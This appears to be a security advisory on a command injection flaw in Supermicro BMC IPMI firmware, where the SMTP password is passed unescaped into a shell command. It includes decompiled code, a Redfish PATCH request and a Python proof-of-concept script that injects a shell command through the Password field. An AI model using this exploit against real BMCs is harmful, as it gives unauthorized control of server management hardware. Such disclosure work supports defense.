Command injection vulnerability in Supermicro BMC IPMI firmware

if ( UtilGetSMTPAuthEn(hostname) )    // if SMTP credentials were configured
    {
      UtilGetSMTPUserName(smtp_username, 65);
      UtilGetSMTPPassword(smtp_password, 65);
      if ( add_escape(smtp_username, smtp_username_esc) || add_escape(smtp_password, smtp_password_esc) )
      {
        j_console_log("[%s:%d]Fail to add escape for username or password\n", "SMTPClientSendMail", 3831);
        free(command);
        free(ptr);
        return 0;
      }
      res = _snprintf_chk(
            command,
            4096,
            1,
            4096,
            "%s --host=%s --port=%d --domain=%s --timeout=1 --auth=login --user=%s --passwordeval='echo %s' --from=%s %s > %s 2>&1",
            "/bin/msmtp",
            host,
            port,
            domain,
            smtp_username,
            smtp_password,
            sender,
            recipient,
            filename);
    }
    ...
    run_shellcmd(command);

PATCH /redfish/v1/EventService/ HTTP/1.1
Host: 192.168.1.10:443
Content-Type: application/json
X-Auth-Token: oqh478pfd1lowbqsde17ivionc31znn4
Content-Length: 190

{"SMTP":{"Port":587,"ServerAddress":"1.1.1.1","FromAddress":"test@test.com","ConnectionProtocol":"None","Authentication":"Plain","Username":"user","Password":"';echo BRLY >/tmp/poc;echo '"}}

import requests

HOST = "192.168.1.10"
PORT = 443

X_AUTH_TOKEN = "oqh478pfd1lowbqsde17ivionc31znn4"
PAYLOAD = "echo BRLY >/tmp/poc"

headers = {"X_AUTH_TOKEN": X_AUTH_TOKEN}

def config_alert():
    url = f"https://{HOST}:{PORT}/redfish/v1/EventService/Subscriptions/1"
    json_data = {"Context": "test", "Destination": "example@main.com", "EventTypes": ["Alert", "ResourceAdded", "ResourceRemoved", "ResourceUpdated", "StatusChange"], "Oem": {"Supermicro": {"EnableSubscription": True, "Severity": "Information", "SMTPSubject": "test"}}, "Protocol": "SMTP"}
    requests.patch(url, headers=headers, json=json_data, verify=False)
    
def config_smtp():
    url = f"https://{HOST}:{PORT}/redfish/v1/EventService/"
    json_data = {"SMTP":{"Port":587,"ServerAddress":"1.1.1.1","FromAddress":"test@test.com","ConnectionProtocol":"None","Authentication":"Plain","Username":"user","Password":"';echo BRLY >/tmp/poc;echo '"}}
    requests.patch(url, headers=headers, json=json_data, verify=False)

if __name__ == "__main__":
    config_alert()
    config_smtp()